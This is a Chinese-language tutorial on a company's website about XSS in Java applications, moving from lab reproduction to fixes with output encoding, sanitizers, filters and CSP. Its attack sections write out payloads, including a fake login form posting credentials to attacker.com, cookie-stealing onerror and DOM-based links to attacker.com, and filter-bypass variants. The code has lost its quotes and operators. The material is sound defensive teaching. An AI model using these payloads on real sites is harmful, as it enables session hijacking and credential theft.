尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

Java项目XSS漏洞实战:从原理到修复,构建纵深防御体系

发布时间:2026/9/11 8:03:09

资讯中心
01
ARTICLE

Java项目XSS漏洞实战:从原理到修复,构建纵深防御体系

Java项目XSS漏洞实战:从原理到修复,构建纵深防御体系
写这篇东西的起因是上个月帮一家公司的Java团队做代码审计发现他们一个刚上线两周的内部系统里六个接口有五个能直接反射XSS其中一个还是存储型的。更离谱的是负责的同事跟我说我们用了MyBatis预编译SQL注入肯定没问题但XSS是什么我不太清楚。這其实代表了目前很多Java开发者的真实状态对SQL注入、越权这些经典漏洞有概念但XSS要么停留在听说过要么觉得不就弹个窗嘛没什么危害。直到那个存储型XSS被拿去打了管理员的Cookie他们才意识到问题的严重性。所以我决定把这篇东西写透。从XSS的三种类型的本质区别到Java项目里最容易踩的坑再到线上漏洞的完整排查链路最后给出真正能落地的修复方案。全程用真实的Java代码说话不整虚的。1. XSS在攻击链中的真实位置先搞懂它为什么值钱1.1 从热词关注度看XSS的学习热度与实际需求先看一个奇怪的现象CTFHub、皮卡丘靶场、DVWA靶场这几个关键词的搜索量一直居高不下同时xss payloadxss绕过这类实战向的词汇也在持续增长。为什么靶场复现这么火因为XSS跟SQL注入不一样后者可以直接用sqlmap一把梭XSS的payload需要根据上下文环境动态构造同一个payload在一个环境里能打换个环境就被过滤了。这导致很多人看教程全会上手全废所以才需要靶场反复练手。但从企业真实需求来看XSS的地位更高。现在几乎没有公司敢说自己完全没有XSS漏洞——OWASP Top 10里XSS常年霸榜前三而且它不像RCE那样需要特定的组件漏洞而是遍布在每一个业务接口里只要有输入输出就存在风险面。1.2 一条XSS攻击链路的完整拆解很多人理解XSS就是在输入框里塞个script标签弹个窗这理解没错但太浅了。你要理解XSS为什么值钱就得站在攻击者的视角看完整链路。假设攻击者发现一个搜索页面存在反射型XSS搜索引擎会把关键词直接回显到页面上p您搜索的是% request.getParameter(keyword) %/p就这么一行代码攻击链路是这样的第一步攻击者构造一个恶意URL把keyword参数换成一段JavaScript代码然后把这个URL通过各种渠道发给目标用户——邮件、短信、即时通讯工具都行。第二步目标用户点开这个URL页面正常加载但恶意脚本已经在用户的浏览器里执行了。第三步恶意脚本开始干活。最经典的玩法是通过document.cookie拿到用户的会话凭证然后以用户的身份发起业务请求。如果这个用户是管理员等于整个后台都沦陷了。第四步如果是存储型XSS恶意脚本还会被存到服务端数据库里每次有人访问这个页面都会中招变成一个受害者持续给下一个受害者投毒的循环。这就是XSS真正可怕的地方它攻击的不是服务器而是服务器信任的每一个用户。你服务端程序写的再严密只要输出端有一处没做转义所有用户都是潜在受害者。1.3 三种XSS类型的核心区分把XSS分类这件事其实没有大家想象的那么玄乎关键在于一个判断标准恶意脚本是从哪里输出到页面上的。反射型XSS最容易被理解脚本是一次性的通过URL参数进入服务端服务端直接输出到响应页面里用完即走不落库。因为需要诱导用户点击特定链接属于非持久化攻击。存储型XSS正好相反恶意脚本通过评论、留言、用户资料等入口进入数据库后续所有用户访问该页面时脚本都会从数据库被读取并执行。这是危害最大的类型因为不需要针对特定用户构造链接只要页面有人访问就能持续生效。DOM型XSS跟前两者有本质区别——脚本根本不经过服务端。它的触发位置在JavaScript代码里前端代码从URL或Request Headers等地方取值直接操作DOM节点。这种XSS用传统的过滤思路很难防因为服务端根本不知道攻击payload长什么样。为了便于理解我做了个对比表类型脚本存储位置触发方式是否需要诱导点击危害程度反射型不存储仅在URL中用户点击恶意URL需要中等存储型服务端数据库任意用户访问受影响页面不需要极高DOM型不经过服务端在前端DOM中用户在浏览器中触发需要中等偏高2. 反射型与存储型XSS的靶场复现从攻击视角看清漏洞本质2.1 皮卡丘靶场反射型XSS的完整复现过程我在带新人做安全培训的时候第一步永远是让他们去皮卡丘靶场手动复现一遍反射型XSS。不是因为网上没有现成的writeup而是只有自己动手打一遍才能建立对XSS的肌肉记忆。皮卡丘靶场的反射型XSS入口是一个搜索框后端逻辑非常简单String keyword request.getParameter(keyword); out.println(p搜索结果 keyword /p);第一步测试输入xss页面正常回显搜索结果xss说明参数没有被过滤。第二步测试输入一段最简单的payloadscriptalert(1)/script页面弹窗说明JavaScript执行了。第三步测试尝试获取Cookiescriptalert(document.cookie)/script弹出了当前域名的所有Cookie。到这里一个真实的攻击者就可以开始构造钓鱼链接了因为第一个接口已经被验证存在可利用的XSS漏洞。需要注意的一个细节是靶场复现时写入的payload最好不要直接用真实获取Cookie的脚本而是用alert(document.domain)这种不敏感的信息做验证避免在真实靶场环境里捞到其他人埋的数据。2.2 DVWA靶场存储型XSS从留言板开始的真实攻击场景DVWA的存储型XSS入口是一个留言板功能这个场景模拟的是真实业务里最常见的存储型XSS爆发点。后端代码大概是这样的String message request.getParameter(message); String sql INSERT INTO comments(content) VALUES( message ); // 读取时直接拼接输出 String readSql SELECT content FROM comments;查看留言板时所有历史留言被读取并输出到页面没有做任何过滤。这里的攻击逻辑要提前想好注入的payload会在每次页面渲染时执行所以不能用弹窗这种一次性的东西而是要让payload具备持续性的效果。一个经典的操作是植入一个伪装登录框的HTMLscript document.write(div styleposition:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;); document.write(form actionhttp://attacker.com/steal methodPOST); document.write(input typetext nameusername placeholder账 号); document.write(input typepassword namepassword placeholder密 码); document.write(button typesubmit登 录/button); document.write(/form/div); /script这个payload会覆盖整个页面让用户误以为网站要求重新登录输入的信息直接发送到攻击者服务器上。这就是存储型XSS最危险的地方——它可以在不影响服务器运行的前提下实现对用户的批量钓鱼。2.3 靶场里绕过到底在绕什么说到绕过之前先理清一个概念绕过的前提是被过滤了靶场里那些过滤规则本质上是模拟真实业务中的半吊子修复。最常见的一种绕过发生在过滤黑名单时。比如某个靶场过滤了script标签但没过滤img的onerror事件img srcx onerroralert(1)还遇到过只过滤了script这个字符串但没过滤大小写变体的情况SCRIPTalert(1)/SCRIPT经典的数据接收场景是后端用String.replace(script, )做替换但只替换了第一处没做全局替换于是scscriptriptalert(1)/script经过一次替换后变成了scriptalert(1)/script依然能弹窗。之所以专门讲这些是想说明一个核心观点黑名单过滤这条路永远走不通攻击者总是能找到payload变体。这也是后面修复方案里推荐白名单思路的原因。3. DOM型XSS纯前端链路里最容易忽视的暗坑3.1 为什么说DOM型XSS让服务端形同虚设顺着前文的三种XSS分类继续深挖必须单独把DOM型XSS拿出来说。因为它在实际的Java项目中最容易被忽视而且出了事还很难查——服务端日志里压根看不到攻击payload。看一段常见的Java代码这是很多JSPServlet项目里的典型写法String content request.getParameter(content); request.setAttribute(content, content); request.getRequestDispatcher(/show.jsp).forward(request, response);JSP页面里这样接收并渲染script var content ${content}; document.getElementById(content).innerHTML content; /script前端JavaScript从URL取到content参数后直接赋值给innerHTML整个过程浏览器发出一个正常的GET请求服务端转发后吐出正常页面恶意脚本生成完全发生在浏览器本地。这种XSS最恶心的地方在于服务端无法通过请求特征或者响应内容做检测因为对服务端来说请求和响应都是正常的。这导致很多WAF或日志分析系统对它几乎无效。3.2 基于URL取值的DOM型XSS实例剖析再看一个更典型的场景很多前端的分享页面会从URL里取参数放到页面上作为分享文案比如var shareText window.location.href.split(text)[1]; document.getElementById(shareDesc).textContent shareText;这里用的是textContent是安全的但如果改成var shareText decodeURIComponent(window.location.href.split(text)[1]); document.getElementById(shareDesc).innerHTML shareText;就危险了因为innerHTML会解析HTML标签。构造以下URLhttps://site.com/share?textimg srcx onerrordocument.locationhttp://attacker.com/log?cdocument.cookie访问这个链接的用户其Cookie会被直接发送到攻击者服务器。要理解DOM型XSS的修复逻辑得先记住一条JavaScript安全准则不要用innerHTML插入不可信内容尽量使用textContent如果必须要用innerHTML必须自己实现HTML编码函数或使用转义库。4. Java服务端如何引入XSS漏洞典型风险点与实例代码分析4.1 为什么Java项目依然是XSS重灾区很多Java开发者理所当然地认为Java是强类型语言安全程度比PHP这种弱类型语言高不少——这种想法对SQL注入可能还有几分道理但放在XSS场景下就完全站不住脚。因为XSS的本质是输出端的编码问题跟编程语言的类型安全没有半毛钱关系。你把代码写得再规范只要有一个地方把用户输入直接拼接到HTML响应里漏洞就存在了。结合我做代码审计的经验Java项目的XSS风险点集中在下面几个位置用户输入没有经过任何处理直接输出到HTML将用户输入写入数据库后读取时直接输出到页面JSONP接口返回用户输入的内容文件上传接口文件名直接反馈到页面日志系统直接把请求参数拼进日志页面4.2 一个真实带漏洞的Java接口改造前后对比为了直观说明我用一个最典型的场景走一遍完整流程一个用户昵称更新功能。漏洞版本的代码是这样PostMapping(/api/user/updateNickname) public String updateNickname(HttpServletRequest request) { String nickname request.getParameter(nickname); String sql UPDATE user SET nickname nickname WHERE id currentUserId(); jdbcTemplate.execute(sql); return success; } GetMapping(/api/user/profile) public String getProfile(HttpServletRequest request) { String sql SELECT nickname FROM user WHERE id currentUserId(); User user jdbcTemplate.queryForObject(sql, User.class); return div昵称 user.getNickname() /div; }攻击者在昵称输入框提交一段恶意代码img srcx onerrorfetch(http://attacker.com/steal?cookiedocument.cookie)这个昵称会被存进数据库以后任何人打开/api/user/profile查看该用户的信息这段攻击脚本就会在别人的浏览器里执行。修复版本的代码分两层处理第一层输出编码在渲染时做HTML转义GetMapping(/api/user/profile) public String getProfile(HttpServletRequest request) { String sql SELECT nickname FROM user WHERE id currentUserId(); User user jdbcTemplate.queryForObject(sql, User.class); String safeNickname StringEscapeUtils.escapeHtml4(user.getNickname()); return div昵称 safeNickname /div; }第二层输入校验在写入数据库时做白名单格式校验PostMapping(/api/user/updateNickname) public String updateNickname(HttpServletRequest request) { String nickname request.getParameter(nickname); if (nickname null || !nickname.matches(^[\\u4e00-\\u9fa5a-zA-Z0-9_]{2,20}$)) { return 昵称只能包含中英文、数字和下划线长度为2-20个字符; } // 正常写入数据库 }第一层是修复XSS的关键第二层是业务层面的约束。有人会问只做输入校验是不是就够了答案是不行因为数据可能通过其他渠道进入系统比如Excel导入、第三方接口对接。所以输出编码才是XSS治理的根基。4.3 Java面试中XSS的常见考点串联既然热词里大量出现了Java面试相关内容那就顺带串联一下面试官到底会怎么问XSS。我自己面人的时候通常分三个层次递进第一层是概念题XSS有哪些类型反射型、存储型、DOM型分别是什么这题能刷掉一半人因为很多候选人能说出反射型和存储型却搞不清DOM型。第二层是实战题如果你的项目里存在一个存储型XSS攻击链是什么这题考察的是攻击链路理解、数据流走向以及源码审计能力。能答到从输入点到存储点再从输出点执行这个数据流层面的候选人基本能过。第三层是方案题你怎么修复一个XSS漏洞你选择在输入侧过滤还是在输出侧编码为什么这题考察的是安全设计的整体思维。答案核心是输出编码为主输入校验为辅配合CSP做纵深防御。5. 修复方案落地从输出编码到纵深防御的完整体系5.1 为什么说转义是XSS治理的第一道防线先把话说透XSS修复的核心是在不可信数据到达可执行环境之前将其翻译成无威胁符号。听起来玄乎其实就是对数据做一次编码转换。数据要被放到HTML标签里就做HTML实体编码要被放到JavaScript变量里就做JavaScript编码要被放到URL属性里就做URL编码。我用一个例子帮你理解编码的作用原始数据scriptalert(1)/script HTML实体编码后lt;scriptgt;alert(1)lt;/scriptgt;浏览器收到编码后的字符串会把它当作纯文本渲染尖括号被显示成字面字符不会去解析其中的脚本。这就是编码转义解决XSS的基本原理。对于Java后端常用的有两个工具库Apache Commons Text 的 StringEscapeUtils提供escapeHtml4()、escapeEcmaScript()等方法老牌稳定。OWASP Java HTML Sanitizer基于白名单策略只允许设置过的标签和属性通过适合富文本场景。5.2 Java中的具体修复实现不只escapeHtml4聊完原理直接上代码。实际项目中修复XSS往往不是加一个escapeHtml4()这么简单要根据输出位置选择不同的编码策略。场景一普通HTML标签内输出文本String safeValue StringEscapeUtils.escapeHtml4(originalValue); // 输出到 p${safeValue}/p场景二HTML属性内输出这里的坑位很多很多人只做了escapeHtml4()但在属性上下文里还需要额外处理引号String safeValue StringEscapeUtils.escapeHtml4(originalValue) .replace(\, quot;) .replace(, #39;); // 输出到 input value${safeValue}场景三JavaScript上下文String safeValue StringEscapeUtils.escapeEcmaScript(originalValue); // 输出到 scriptvar name ${safeValue};/script场景四富文本内容这时候不能简单转义转义会把正常的排版标签全废掉。需要白名单过滤import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; PolicyFactory policy Sanitizers.FORMATTING.and(Sanitizers.LINKS); String safeHtml policy.sanitize(originalHtml);这个方案会保留b、i、a这类安全标签但把script、iframe、onerror事件属性全部剔除。5.3 项目里全局拦截器的设计与实现修单个漏洞容易难的是让整个项目不新产出漏洞。对于存量代码量大的Java项目推荐用Filter做统一输出编码。核心思路是在HttpServletResponse外边包一层包装器拦住getWriter()的输出流在写入缓冲之前做HTML转义。public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssRequestWrapper xssRequest new XssRequestWrapper((HttpServletRequest) request); chain.doFilter(xssRequest, response); } } public class XssRequestWrapper extends HttpServletRequestWrapper { public XssRequestWrapper(HttpServletRequest request) { super(request); } Override public String getParameter(String name) { String value super.getParameter(name); return cleanXSS(value); } private String cleanXSS(String value) { if (value null) return null; value value.replaceAll(, lt;).replaceAll(, gt;); value value.replaceAll(\, quot;).replaceAll(, #39;); return value; } }这个方案能实现全站输入的粗过滤直接堵住反射型和存储型XSS的大部分入口但要注意两点第一全局Filter只适合处理请求参数对于富文本场景往往会造成把用户的格式标签也转义掉所以富文本接口需要单独设置例外路径。第二全局Filter不是万能药它拦不住DOM型XSS——因为DOM型XSS的payload根本不经过服务端请求参数这条链路。5.4 纵深防御CSPContent-Security-Policy的配置任何单独的修复手段都有被绕过的可能所以企业级的XSS治理最后还是落到纵深防御上。其中最有效的手段之一是CSP它能直接告诉浏览器哪些来源的脚本可以执行。通过HTTP响应头配置CSPContent-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none; base-uri none;这段配置的语义是只允许加载同源域名和指定CDN域名下的脚本其他来源的脚本一律被浏览器拦截。这样就算攻击者注入了一个外链的恶意脚本文件浏览器也不会去加载它。Java中可以通过Filter统一添加响应头public class SecurityHeaderFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletResponse resp (HttpServletResponse) response; resp.setHeader(Content-Security-Policy, default-src self; script-src self; object-src none; base-uri none); chain.doFilter(request, response); } }需要注意CSP配置太严格会影响业务功能比如在线支付回调脚本、第三方统计脚本会被拦截所以上线前要在测试环境充分验证。修复方案的优先级明确排序一下第一优先级输出编码在所有输出点做上下文相关的转义或白名单过滤第二优先级输入校验在白名单规则允许的范围内做格式校验第三优先级CSP HttpOnly降低利用纵深第四优先级XSS审计与自动化扫描让漏洞在发布前就被发现6. 一次线上XSS告警的完整排查链路直接讲修复方案可能还是有点抽象下面还原一次我实际经历过的线上XSS告警排查过程。事件背景公司内部一个用户反馈系统收到了恶意payload提交安全运营平台同步发出了XSS告警通知。第一步确认漏洞真实性。拿到告警后我先检查了payload的上报数据确认这个payload在执行后确实会把数据回传到外部域名可以认定为真实攻击请求。第二步定位漏洞接口。通过告警信息里的请求路径打开日志系统检索对应的API地址确认接口是GET /api/user/search?keywordxxx。找到对应代码后问题一目了然GetMapping(/api/user/search) public String searchUser(RequestParam String keyword, Model model) { ListUser users userMapper.search(keyword); model.addAttribute(keyword, keyword); model.addAttribute(users, users); return searchResult; }模板文件searchResult.html里是这样输出关键词的p您搜索的span th:text${keyword}/span共找到span th:text${#lists.size(users)}/span条结果/p看到这里第一反应是Thymeleaf的th:text本身就是安全转义的怎么会出问题后来仔细往下翻发现问题出在另一个地方。第三步翻看到的完整页面代码。发现模板里除了th:text还有一个地方用了th:utextdiv th:utext${keyword}/divth:utext就是不转义输出。看看这段历史代码旁边的注释写着需求方要求搜索关键词支持富文本加粗显示——典型的业务需求绕过安全机制的案例。第四步验证攻击链路。本地复现之后把payload放进keyword参数请求线上接口确认返回页面内出现了非转义的恶意脚本标签攻击链路成立。第五步修复和复盘。修复方案分三步把th:utext改回th:text彻底关闭不转义输出如果确实需要有格式展示用OWASP HTML Sanitizer做白名单过滤给该接口补充自动化安全测试用例防止后续人为改回排查链路到这里就完整了。整个过程最难的其实不是技术定位而是找到那条藏在一堆正常业务代码里的特殊需求。7. 检测XSS的自动化思路与工具选型人工审计毕竟覆盖不到全量代码所以在团队内部推动XSS检测自动化才是治理的长久之计。根据项目实际阶段可以分三层推进第一层静态代码扫描在CI阶段集成SpotBugs插件配合Find Security Bugs规则集。它会自动找出类似request.getParameter()直接输出到响应体的代码路径在代码提交阶段就拦截掉已知风险模式。第二层动态安全测试用Xray或AWVS对测试环境做定期的自动化扫描。这类工具的核心思路是向每个输入点注入变形payload观察响应里是否回显了未编码的脚本标记。要注意的是爬虫覆盖率是动态扫描的关键指标单页应用SPA需要额外配置爬取规则否则大量DOM型XSS触达不到。第三层WAF与RASP兜底。ModSecurity这类WAF能拦截已知payloadRASP运行时应用自我保护则能在应用层检测并阻断恶意代码执行。但这两者更适合做运行时保险而不是根本解法——因为WAF黑名单会被绕过RASP在每个Java版本和框架组合下的兼容性也需要大量调优。工具选型上有一个重要原则需要强调不上没有责任人、没有告警接收人的扫描工具。很多团队上了扫描器但没人看结果形同虚设。工具的上线必须同时指定负责角色和响应SLA否则扫描报告躺在邮箱里一百封也不会有人处理。8. 这三年我在XSS治理上踩过的最深的坑最后分享一个具体的教训。当时我在做一个内容管理系统的重构开发组长说安全部门的意见我们已经收到了已经在全局Context里加了HTML编码过滤器。我随手测了一下在标题输入框提交scriptalert(1)/script——被过滤器编码了页面安全没问题。提交img srcx onerroralert(1)到富文本编辑器——完了富文本功能的业务逻辑依赖原样保留HTML标签全局过滤器把所有的HTML标签全部转义成了实体编辑器出来的内容变成了乱码。方案组紧急讨论后决定给富文本接口单独开白名单路径并在编辑器前端引入白名单过滤的Sanitizer逻辑。但这还不是最坑的。真正致命的是因为全局过滤器在处理请求参数时把恶意输入转义掉了攻击payload被原样存入了数据库。过了几个月安全团队做数据清洗发现库里有大量包含script标签的脏数据而恰好新开发的页面为了性能走了一个不走全局过滤器的数据接口——结果直接翻车。写这个案例是想说一句真心话XSS治理的根本不是找到一个万能过滤方案就能一劳永逸的它需要你识别出每一条数据流在输出的每一个节点都做正确的编码处理。平时多看几遍OWASP的XSS Prevention Cheat Sheet把各种上下文HTML标签内、属性内、JavaScript内、CSS内、URL内的编码规则记熟再结合自动化工具做兜底才算是一个合格的Java开发者面对XSS时该有的姿势。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。